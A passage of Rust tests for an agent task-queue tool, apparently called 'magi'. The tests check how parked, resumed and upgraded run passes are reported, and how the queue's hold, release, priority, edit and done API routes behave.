12234        assert_eq!(f.edges.len(), 1);
12235        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
12236        assert_eq!(f.edges[0].attempt, AttemptCost::None);
12237    }
12238
12239    /// A run parked mid-flight keeps a non-terminal status; the page must
12240    /// still say why it stopped and that the attempt came back.
12241    #[test]
12242    fn a_parked_non_terminal_run_is_explained_as_parked() {
12243        let mut s = RunState::new(
12244            PathBuf::from("/repo/magi"),
12245            "main".to_owned(),
12246            "0123456789abcdef".to_owned(),
12247            "Do it".to_owned(),
12248            Config::default(),
12249        );
12250        s.status = RunStatus::Implementing;
12251        s.parked = true;
12252        let task = Task::new(
12253            "t".to_owned(),
12254            "Do it".to_owned(),
12255            PathBuf::from("/repo/magi"),
12256            Source::Human,
12257        );
12258        let v = task_run_view(
12259            "20260902-140501-aaaa",
12260            Some(&s),
12261            RunSlot {
12262                n: 1,
12263                resumed: false,
12264                resumed_later: None,
12265                prior: None,
12266                last: true,
12267                ..RunSlot::default()
12268            },
12269            &task,
12270        );
12271        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
12272    }
12273
12274    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
12275        let mut s = flow_run(RunStatus::Implementing, edit);
12276        s.parked = false;
12277        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
12278        task_run_view(
12279            "20260902-140501-aaaa",
12280            Some(&s),
12281            RunSlot {
12282                n: 1,
12283                resumed: false,
12284                resumed_later: Some(2),
12285                prior: None,
12286                last: false,
12287                ..RunSlot::default()
12288            },
12289            &task,
12290        )
12291    }
12292
12293    #[test]
12294    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
12295        let v = earlier_pass_view(|_| {});
12296        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12297        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12298        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12299        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12300        assert_eq!(v.exit, RunExit::Interrupted);
12301        assert_eq!(v.attempt, AttemptCost::Unknown);
12302    }
12303
12304    #[test]
12305    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12306        let v = earlier_pass_view(|s| {
12307            s.quota.push(crate::run::QuotaLoss {
12308                seat: "judge-1".to_owned(),
12309                node: "judge".to_owned(),
12310                at: Timestamp::now(),
12311                reset: None,
12312            });
12313        });
12314        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12315        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12316        assert_eq!(v.attempt, AttemptCost::Unknown);
12317    }
12318
12319    #[test]
12320    fn the_current_pass_states_its_recorded_cause_and_cost() {
12321        let slot = || RunSlot {
12322            n: 1,
12323            resumed: false,
12324            resumed_later: None,
12325            prior: None,
12326            last: true,
12327            ..RunSlot::default()
12328        };
12329        let task = flow_task(&["20260902-140501-aaaa"]);
12330        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12331        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12332        assert_eq!(
12333            (v.exit, v.attempt),
12334            (RunExit::Parked, AttemptCost::Refunded)
12335        );
12336        let spent = flow_run(RunStatus::Blocked, |_| {});
12337        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12338        assert_eq!(v.attempt, AttemptCost::Spent);
12339        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12340    }
12341
12342    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
12343        crate::run::RunPass {
12344            index,
12345            started_at: Timestamp::now(),
12346            resumed: index > 0,
12347            ended_at: end.as_ref().map(|_| Timestamp::now()),
12348            end,
12349            task_entry: true,
12350        }
12351    }
12352
12353    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
12354        Some(crate::run::PassEnd::Parked { cause })
12355    }
12356
12357    fn upgrade_cause() -> crate::run::ParkCause {
12358        crate::run::ParkCause::Upgrade {
12359            from: "0.121.0".to_owned(),
12360            to: Some("0.121.1".to_owned()),
12361        }
12362    }
12363
12364    fn settled_pass(
12365        run: &str,
12366        index: usize,
12367        cost: crate::queue::PassCost,
12368    ) -> crate::queue::TaskPass {
12369        crate::queue::TaskPass {
12370            run: run.to_owned(),
12371            pass_index: index,
12372            cost,
12373            attempts_after: 1,
12374            settled_at: Timestamp::now(),
12375            parked: None,
12376        }
12377    }
12378
12379    const RUN_X: &str = "20261011-223708-4334";
12380
12381    #[test]
12382    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
12383        use crate::queue::PassCost;
12384        let run = flow_run(RunStatus::Implementing, |s| {
12385            s.passes = vec![
12386                recorded_pass(0, parked(upgrade_cause())),
12387                recorded_pass(1, None),
12388            ];
12389        });
12390        let mut task = flow_task(&[RUN_X, RUN_X]);
12391        task.attempts = 1;
12392        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12393        let h = task_history(&task, |_| Some(run.clone()));
12394        assert_eq!(h.len(), 2);
12395        assert_eq!(h[0].kind, "competition");
12396        assert_eq!(h[1].kind, "resume");
12397        assert_eq!(
12398            (h[0].exit, h[0].attempt),
12399            (RunExit::Parked, AttemptCost::Refunded)
12400        );
12401        assert!(
12402            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
12403            "{}",
12404            h[0].outcome
12405        );
12406        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
12407        assert!(
12408            h[0].outcome.contains("pass #2 resumed the same run"),
12409            "{}",
12410            h[0].outcome
12411        );
12412        assert!(
12413            h[0].outcome.contains("pass 1 of 2 over run"),
12414            "{}",
12415            h[0].outcome
12416        );
12417        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12418        assert_eq!(
12419            h[0].exit_label,
12420            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
12421        );
12422        let f = task_flow(&task, &h, 2, None);
12423        // Two passes of one run, one of two attempts consumed.
12424        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
12425        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12426        assert!(
12427            f.edges[1].label.contains("upgrade 0.121.0"),
12428            "{}",
12429            f.edges[1].label
12430        );
12431        assert!(
12432            f.edges[1].label.contains("resume the same run"),
12433            "{}",
12434            f.edges[1].label
12435        );
12436        assert_eq!(f.nodes[1].note, Some("parked"));
12437    }
12438
12439    #[test]
12440    fn an_upgrade_whose_target_was_not_known_says_so() {
12441        let run = flow_run(RunStatus::Implementing, |s| {
12442            s.passes = vec![
12443                recorded_pass(
12444                    0,
12445                    parked(crate::run::ParkCause::Upgrade {
12446                        from: "0.121.0".to_owned(),
12447                        to: None,
12448                    }),
12449                ),
12450                recorded_pass(1, None),
12451            ];
12452        });
12453        let task = flow_task(&[RUN_X, RUN_X]);
12454        let h = task_history(&task, |_| Some(run.clone()));
12455        assert!(
12456            h[0].outcome.contains("upgrade from 0.121.0"),
12457            "{}",
12458            h[0].outcome
12459        );
12460        // No settle record: the refund is not claimed.
12461        assert_eq!(h[0].attempt, AttemptCost::Unknown);
12462    }
12463
12464    #[test]
12465    fn each_pass_keeps_its_own_cause_across_several_resumes() {
12466        use crate::queue::PassCost;
12467        use crate::run::ParkCause;
12468        let run = flow_run(RunStatus::Implementing, |s| {
12469            s.passes = vec![
12470                recorded_pass(0, parked(upgrade_cause())),
12471                recorded_pass(
12472                    1,
12473                    parked(ParkCause::Interrupt {
12474                        reason: "task a1b2 asked to run first".to_owned(),
12475                    }),
12476                ),
12477                recorded_pass(2, parked(ParkCause::Operator)),
12478                recorded_pass(3, None),
12479            ];
12480        });
12481        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
12482        task.attempts = 1;
12483        task.passes = (0..3)
12484            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
12485            .collect();
12486        let h = task_history(&task, |_| Some(run.clone()));
12487        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12488        assert!(
12489            h[1].outcome.contains("task a1b2 asked to run first"),
12490            "{}",
12491            h[1].outcome
12492        );
12493        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
12494        assert!(
12495            h[2].outcome.contains("operator asked the loop to park"),
12496            "{}",
12497            h[2].outcome
12498        );
12499        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
12500        let f = task_flow(&task, &h, 2, None);
12501        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
12502    }
12503
12504    #[test]
12505    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
12506        let run = flow_run(RunStatus::Implementing, |s| {
12507            s.passes = vec![
12508                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
12509                recorded_pass(1, None),
12510            ];
12511        });
12512        let task = flow_task(&[RUN_X, RUN_X]);
12513        let h = task_history(&task, |_| Some(run.clone()));
12514        assert_eq!(h[0].exit, RunExit::Interrupted);
12515        assert_eq!(h[0].attempt, AttemptCost::Unknown);
12516        assert!(
12517            h[0].outcome.contains("without recording why"),
12518            "{}",
12519            h[0].outcome
12520        );
12521        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12522        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
12523    }
12524
12525    #[test]
12526    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
12527        use crate::queue::PassCost;
12528        // Three entries, but the run only began keeping passes at the last
12529        // two: the first is legacy and must not be given a cause.
12530        let run = flow_run(RunStatus::Implementing, |s| {
12531            s.passes = vec![
12532                recorded_pass(0, parked(upgrade_cause())),
12533                recorded_pass(1, None),
12534            ];
12535        });
12536        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
12537        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12538        let h = task_history(&task, |_| Some(run.clone()));
12539        assert!(h[0].pass.is_none());
12540        assert_eq!(h[0].exit, RunExit::Interrupted);
12541        assert_eq!(h[0].attempt, AttemptCost::Unknown);
12542        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12543        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12544        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
12545        // A run with no passes at all is entirely unknown.
12546        let legacy = flow_run(RunStatus::Implementing, |_| {});
12547        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
12548        assert!(h.iter().all(|v| v.pass.is_none()));
12549        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12550    }
12551
12552    #[test]
12553    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
12554        use crate::queue::PassCost;
12555        // Pass 1 is a web-button resume: a pass of the run, no entry of the
12556        // task. The two entries are passes 0 and 2.
12557        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
12558        web.task_entry = false;
12559        let run = flow_run(RunStatus::Implementing, |s| {
12560            s.passes = vec![
12561                recorded_pass(0, parked(upgrade_cause())),
12562                web.clone(),
12563                recorded_pass(2, None),
12564            ];
12565        });
12566        let mut task = flow_task(&[RUN_X, RUN_X]);
12567        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12568        let h = task_history(&task, |_| Some(run.clone()));
12569        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12570        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
12571
12572        // Legacy first entry, then a web resume that parked for an upgrade,
12573        // then the daemon's pass: the legacy entry must stay unknown.
12574        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
12575        web0.task_entry = false;
12576        let run = flow_run(RunStatus::Implementing, |s| {
12577            s.passes = vec![web0.clone(), recorded_pass(1, None)];
12578        });
12579        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
12580        assert!(h[0].pass.is_none());
12581        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12582        assert!(h[1].pass.is_some());
12583    }
12584
12585    #[tokio::test]
12586    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12587        let f = Fixture::start().await;
12588        let queue = f.queue();
12589        let mut task = Task::new(
12590            "spent".to_owned(),
12591            "Try again".to_owned(),
12592            PathBuf::from("/repo/magi"),
12593            Source::Human,
12594        );
12595        task.start("20260902-140502-bbbb".to_owned());
12596        task.fail("agent gave up", 9);
12597        queue.put(&mut task).expect("file the task");
12598
12599        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12600        assert_eq!(held.status, 200);
12601        assert_eq!(held.json()["status_str"], "held");
12602
12603        let released = f
12604            .post(&format!("/api/queue/{}/release", task.id), None)
12605            .await;
12606        assert_eq!(released.status, 200);
12607        assert_eq!(released.json()["status_str"], "queued");
12608        assert_eq!(
12609            released.json()["attempts"],
12610            0,
12611            "release is a real second chance, not an instant re-hold"
12612        );
12613        assert_eq!(
12614            queue.get(&task.id).expect("reload").status,
12615            TaskStatus::Queued,
12616            "the change is on disk, not only in the reply"
12617        );
12618        assert!(
12619            !f.home
12620                .path()
12621                .join("queue")
12622                .join(format!("{}.lock", task.id))
12623                .exists(),
12624            "the claim the mutation took is released again"
12625        );
12626    }
12627
12628    #[tokio::test]
12629    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12630        let f = Fixture::start().await;
12631        let queue = f.queue();
12632        let mut task = Task::new(
12633            "busy".to_owned(),
12634            "Running right now".to_owned(),
12635            PathBuf::from("/repo/magi"),
12636            Source::Human,
12637        );
12638        queue.put(&mut task).expect("file the task");
12639        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12640
12641        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12642
12643        assert_eq!(res.status, 409);
12644        assert_eq!(
12645            queue.get(&task.id).expect("reload").status,
12646            TaskStatus::Queued,
12647            "the refused hold changed nothing"
12648        );
12649    }
12650
12651    #[tokio::test]
12652    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12653        let f = Fixture::start().await;
12654        let queue = f.queue();
12655        let mut task = Task::new(
12656            "waiting on the migration".to_owned(),
12657            "Do the thing".to_owned(),
12658            PathBuf::from("/repo/magi"),
12659            Source::Human,
12660        );
12661        queue.put(&mut task).expect("file the task");
12662
12663        let held = f
12664            .post(
12665                &format!("/api/queue/{}/hold", task.id),
12666                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12667            )
12668            .await;
12669        assert_eq!(held.status, 200, "{}", held.body);
12670        assert_eq!(held.json()["status_str"], "held");
12671        assert_eq!(
12672            held.json()["hold_reason"],
12673            "waiting for 20260101-000000-aaaa to land"
12674        );
12675
12676        let listed = f.get("/api/queue").await.json();
12677        assert_eq!(
12678            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12679            "the card reads the reason off the same list route"
12680        );
12681
12682        // A hold with no body at all must keep working - most holds have no
12683        // reason to give.
12684        let mut plain = Task::new(
12685            "no reason given".to_owned(),
12686            "Do another thing".to_owned(),
12687            PathBuf::from("/repo/magi"),
12688            Source::Human,
12689        );
12690        queue.put(&mut plain).expect("file the task");
12691        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12692        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12693        assert!(held_plain.json()["hold_reason"].is_null());
12694
12695        let released = f
12696            .post(&format!("/api/queue/{}/release", task.id), None)
12697            .await;
12698        assert_eq!(released.status, 200);
12699        assert!(
12700            released.json()["hold_reason"].is_null(),
12701            "a release must clear the reason so the next hold does not inherit it"
12702        );
12703    }
12704
12705    #[tokio::test]
12706    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12707        let f = Fixture::start().await;
12708        let queue = f.queue();
12709        let mut older = Task::new(
12710            "filed first".to_owned(),
12711            "x".to_owned(),
12712            PathBuf::from("/repo/magi"),
12713            Source::Human,
12714        );
12715        older.id = "20260101-000001-aaaa".to_owned();
12716        let mut newer = Task::new(
12717            "filed second".to_owned(),
12718            "x".to_owned(),
12719            PathBuf::from("/repo/magi"),
12720            Source::Human,
12721        );
12722        newer.id = "20260101-000002-bbbb".to_owned();
12723        queue.put(&mut older).expect("file older");
12724        queue.put(&mut newer).expect("file newer");
12725
12726        // Equal priority: the newer task leads, the same order the old
12727        // newest-first `list()` already gave every equal-priority queue.
12728        let before = f.get("/api/queue").await.json();
12729        assert_eq!(before[0]["id"], newer.id);
12730        assert_eq!(before[1]["id"], older.id);
12731
12732        // Raising the *older* task is the meaningful case: it can only lead
12733        // now because its priority says so, not because it happens to be
12734        // newest.
12735        let raised = f
12736            .post(
12737                &format!("/api/queue/{}/priority", older.id),
12738                Some(r#"{"priority":10}"#),
12739            )
12740            .await;
12741        assert_eq!(raised.status, 200, "{}", raised.body);
12742        assert_eq!(raised.json()["priority"], 10);
12743
12744        let after = f.get("/api/queue").await.json();
12745        let names: Vec<&str> = after
12746            .as_array()
12747            .unwrap()
12748            .iter()
12749            .map(|t| t["id"].as_str().unwrap())
12750            .collect();
12751        // Highest priority first, which is the order next_runnable and
12752        // `magi task list` both use - GET /api/queue must agree with it
12753        // immediately, not just once the loop claims the task.
12754        assert_eq!(names[0], older.id, "the raised task now sorts first");
12755    }
12756
12757    #[tokio::test]
12758    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12759        let dir = TempDir::new().unwrap();
12760        let repo = dir.path().join("repo");
12761        std::fs::create_dir(&repo).unwrap();
12762        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12763        let q = Queue::at(dir.path().join("queue"));
12764        let ui = Arc::new(Ui::new(
12765            q.clone(),
12766            Questions::at(dir.path().join("questions")),
12767            Talks::at(dir.path().join("talks")),
12768            dir.path().join("runs"),
12769            dir.path().to_path_buf(),
12770            repo.clone(),
12771        ));
12772        let mut t = Task::new(
12773            "seats".into(),
12774            "keep instruction".into(),
12775            repo,
12776            Source::Human,
12777        );
12778        t.runs.push("prior-run".into());
12779        t.hold_manual(Some("waiting".into()));
12780        q.put(&mut t).unwrap();
12781        let change = |count| {
12782            queue_implementers(
12783                State(ui.clone()),
12784                Path(t.id.clone()),
12785                Ok(Json(ImplementersBody {
12786                    implementers: count,
12787                })),
12788            )
12789        };
12790        for count in [2, 1, 2] {
12791            let response = change(count).await.unwrap();
12792            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12793            let saved = q.get(&t.id).unwrap();
12794            assert_eq!(saved.implementers(), Some(usize::from(count)));
12795            assert_eq!(saved.runs, t.runs);
12796            assert_eq!(saved.instruction, t.instruction);
12797        }
12798        for count in [0, 4] {
12799            assert_eq!(
12800                change(count).await.err().unwrap().status,
12801                StatusCode::BAD_REQUEST
12802            );
12803        }
12804        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12805        let claim = q.claim(&t.id).unwrap();
12806        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12807        drop(claim);
12808        for status in [
12809            TaskStatus::Running,
12810            TaskStatus::Done,
12811            TaskStatus::Failed,
12812            TaskStatus::Blocked,
12813            TaskStatus::Parked,
12814        ] {
12815            let mut stored = q.get(&t.id).unwrap();
12816            stored.status = status;
12817            q.put(&mut stored).unwrap();
12818            assert_eq!(
12819                change(1).await.err().unwrap().status,
12820                StatusCode::BAD_REQUEST
12821            );
12822            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12823        }
12824    }
12825
12826    #[tokio::test]
12827    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12828        let f = Fixture::start().await;
12829        let queue = f.queue();
12830        let mut task = Task::new(
12831            "in flight".to_owned(),
12832            "x".to_owned(),
12833            PathBuf::from("/repo/magi"),
12834            Source::Human,
12835        );
12836        task.start("20260902-140502-bbbb".to_owned());
12837        queue.put(&mut task).expect("file the task");
12838
12839        let res = f
12840            .post(
12841                &format!("/api/queue/{}/priority", task.id),
12842                Some(r#"{"priority":9}"#),
12843            )
12844            .await;
12845        assert_eq!(res.status, 400, "{}", res.body);
12846        assert!(
12847            res.json()["error"]
12848                .as_str()
12849                .is_some_and(|e| e.contains("running")),
12850            "{}",
12851            res.body
12852        );
12853        assert_eq!(
12854            queue.get(&task.id).expect("reload").priority,
12855            0,
12856            "the refused write must not partially apply"
12857        );
12858    }
12859
12860    #[tokio::test]
12861    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12862        let f = Fixture::start().await;
12863        let queue = f.queue();
12864        let mut task = Task::new(
12865            "old title".to_owned(),
12866            "old instruction".to_owned(),
12867            PathBuf::from("/repo/magi"),
12868            Source::Agent {
12869                run: "20260101-000000-beef".to_owned(),
12870                node: "implement".to_owned(),
12871            },
12872        );
12873        task.runs.push("20260101-000000-beef".to_owned());
12874        queue.put(&mut task).expect("file the task");
12875        let created_at = task.created_at;
12876
12877        let edited = f
12878            .post(
12879                &format!("/api/queue/{}/edit", task.id),
12880                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12881            )
12882            .await;
12883        assert_eq!(edited.status, 200, "{}", edited.body);
12884        let body = edited.json();
12885        assert_eq!(body["title"], "new title");
12886        assert_eq!(body["instruction"], "new instruction");
12887        assert_eq!(body["id"], task.id, "editing must not mint a new id");
12888        assert_eq!(body["created_at"], created_at.to_string());
12889        assert_eq!(
12890            body["source"]["kind"], "agent",
12891            "editing a task an agent filed must not turn it human: {body}"
12892        );
12893        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12894
12895        let reloaded = queue.get(&task.id).expect("reload");
12896        assert_eq!(reloaded.title, "new title");
12897        assert_eq!(reloaded.instruction, "new instruction");
12898    }
12899
12900    #[tokio::test]
12901    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12902        // The judge is an agent now: a repo whose only agent answers
12903        // "duplicate" stands in for it, so the refusal is the judge's.
12904        let tmp = TempDir::new().expect("tempdir");
12905        let repo = tmp.path().join("repo");
12906        std::fs::create_dir_all(&repo).expect("repo dir");
12907        let judge = MOCK_AGENT_TOML.replace(
12908            "printf ok",
12909            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12910        );
12911        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12912        let f = Fixture::with_repo(repo.clone()).await;
12913        let queue = f.queue();
12914        let mut owner = Task::new(
12915            "owner".to_owned(),
12916            "review it".to_owned(),
12917            repo.clone(),
12918            Source::Human,
12919        );
12920        owner.review_branch = Some("magi/ab12/A".to_owned());
12921        queue.put(&mut owner).expect("file the owner");
12922        let mut task = Task::new(
12923            "draft".to_owned(),
12924            "old".to_owned(),
12925            repo.clone(),
12926            Source::Human,
12927        );
12928        queue.put(&mut task).expect("file the draft");
12929        let url = format!("/api/queue/{}/edit", task.id);
12930
12931        let refused = f
12932            .post(
12933                &url,
12934                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12935            )
12936            .await;
12937        assert_eq!(refused.status, 409, "{}", refused.body);
12938        let msg = refused.json()["error"]
12939            .as_str()
12940            .unwrap_or_default()
12941            .to_owned();
12942        assert!(
12943            msg.contains("magi/ab12/A") && msg.contains("force"),
12944            "{msg}"
12945        );
12946        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12947
12948        let forced = f
12949            .post(
12950                &url,
12951                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12952            )
12953            .await;
12954        assert_eq!(forced.status, 200, "{}", forced.body);
12955    }
12956
12957    #[tokio::test]
12958    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12959        let f = Fixture::start().await;
12960        let queue = f.queue();
12961        let mut task = Task::new(
12962            "in flight".to_owned(),
12963            "do not touch".to_owned(),
12964            PathBuf::from("/repo/magi"),
12965            Source::Human,
12966        );
12967        task.start("20260902-140502-bbbb".to_owned());
12968        queue.put(&mut task).expect("file the task");
12969
12970        let res = f
12971            .post(
12972                &format!("/api/queue/{}/edit", task.id),
12973                Some(r#"{"title":"x","instruction":"y"}"#),
12974            )
12975            .await;
12976        assert_eq!(res.status, 400, "{}", res.body);
12977        assert!(
12978            res.json()["error"]
12979                .as_str()
12980                .is_some_and(|e| e.contains("running")),
12981            "{}",
12982            res.body
12983        );
12984        assert_eq!(
12985            queue.get(&task.id).expect("reload").instruction,
12986            "do not touch",
12987            "the refused edit must not change the file"
12988        );
12989    }
12990
12991    #[tokio::test]
12992    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12993        let f = Fixture::start().await;
12994        let queue = f.queue();
12995        let mut task = Task::new(
12996            "busy".to_owned(),
12997            "Running right now".to_owned(),
12998            PathBuf::from("/repo/magi"),
12999            Source::Human,
13000        );
13001        queue.put(&mut task).expect("file the task");
13002        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13003
13004        let priority = f
13005            .post(
13006                &format!("/api/queue/{}/priority", task.id),
13007                Some(r#"{"priority":9}"#),
13008            )
13009            .await;
13010        assert_eq!(priority.status, 409, "{}", priority.body);
13011
13012        let edit = f
13013            .post(
13014                &format!("/api/queue/{}/edit", task.id),
13015                Some(r#"{"title":"x","instruction":"y"}"#),
13016            )
13017            .await;
13018        assert_eq!(edit.status, 409, "{}", edit.body);
13019    }
13020
13021    #[tokio::test]
13022    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
13023        let f = Fixture::start().await;
13024        let queue = f.queue();
13025        let mut task = Task::new(
13026            "shipped by hand".to_owned(),
13027            "merged outside the loop".to_owned(),
13028            PathBuf::from("/repo/magi"),
13029            Source::Agent {
13030                run: "20260101-000000-b455".to_owned(),
13031                node: "implement".to_owned(),
13032            },
13033        );
13034        task.runs.push("20260101-000000-b455".to_owned());
13035        task.runs.push("20260101-000000-9af4".to_owned());
13036        queue.put(&mut task).expect("file the task");
13037        let created_at = task.created_at;
13038
13039        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13040        assert_eq!(done.status, 200, "{}", done.body);
13041        assert_eq!(done.json()["status_str"], "done");
13042
13043        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
13044        assert_eq!(
13045            reloaded.runs,
13046            ["20260101-000000-b455", "20260101-000000-9af4"]
13047        );
13048        assert_eq!(
13049            reloaded.source,
13050            Source::Agent {
13051                run: "20260101-000000-b455".to_owned(),
13052                node: "implement".to_owned(),
13053            }
13054        );
13055        assert_eq!(reloaded.created_at, created_at);
13056    }
13057
13058    #[tokio::test]
13059    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
13060        // `done` is allowed on any status, including `held`, with no release
13061        // in between - so a task held for a reason and then closed directly
13062        // must not keep reading as "waiting on" it afterwards, on its card or
13063        // in `magi task show`.
13064        let f = Fixture::start().await;
13065        let queue = f.queue();
13066        let mut task = Task::new(
13067            "landed while held".to_owned(),
13068            "x".to_owned(),
13069            PathBuf::from("/repo/magi"),
13070            Source::Human,
13071        );
13072        task.hold_manual(Some("waiting on 3ed9".to_owned()));
13073        queue.put(&mut task).expect("file the held task");
13074
13075        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13076        assert_eq!(done.status, 200, "{}", done.body);
13077        assert_eq!(done.json()["status_str"], "done");
13078        assert!(
13079            done.json()["hold_reason"].is_null(),
13080            "a done task cannot still be waiting on something: {}",
13081            done.body
13082        );
13083    }
13084
13085    #[tokio::test]
13086    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
13087        // `queue_done` is the phone's way to close a task the loop never
13088        // settled itself - after confirming a manual GitHub merge, say - and
13089        // that is just as much "this task's story is over" as the loop's own
13090        // `Merged`/`Ready` path, so it must trigger the same cleanup.
13091        let f = Fixture::start().await;
13092        let queue = f.queue();
13093        let runs = f.runs();
13094        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
13095        // The last attempt has to have actually landed for the earlier one
13096        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
13097        // for the case where it didn't.
13098        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
13099
13100        let mut task = Task::new(
13101            "landed by hand".to_owned(),
13102            "x".to_owned(),
13103            PathBuf::from("/repo/magi"),
13104            Source::Human,
13105        );
13106        task.runs.push("20260101-000000-doa1".to_owned());
13107        task.runs.push("20260101-000000-doa2".to_owned());
13108        queue.put(&mut task).expect("file the task");
13109
13110        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13111        assert_eq!(done.status, 200, "{}", done.body);
13112
13113        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
13114            .expect("run still on disk under this fixture's own home");
13115        assert_eq!(
13116            reloaded_run.status,
13117            RunStatus::Superseded,
13118            "closing the task by hand must relabel the earlier blocked attempt exactly \
13119             like the loop's own settle path does"
13120        );
13121    }
13122
13123    #[tokio::test]
13124    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
13125        // Closing a task by hand is allowed from any status, including one
13126        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
13127        // manual merge the loop never watched, say. Nothing here is provably
13128        // why the task is done, so nothing earlier gets relabelled either.
13129        let f = Fixture::start().await;
13130        let queue = f.queue();
13131        let runs = f.runs();
13132        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
13133        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
13134
13135        let mut task = Task::new(
13136            "closed with nothing actually landed".to_owned(),
13137            "x".to_owned(),
13138            PathBuf::from("/repo/magi"),
13139            Source::Human,
13140        );
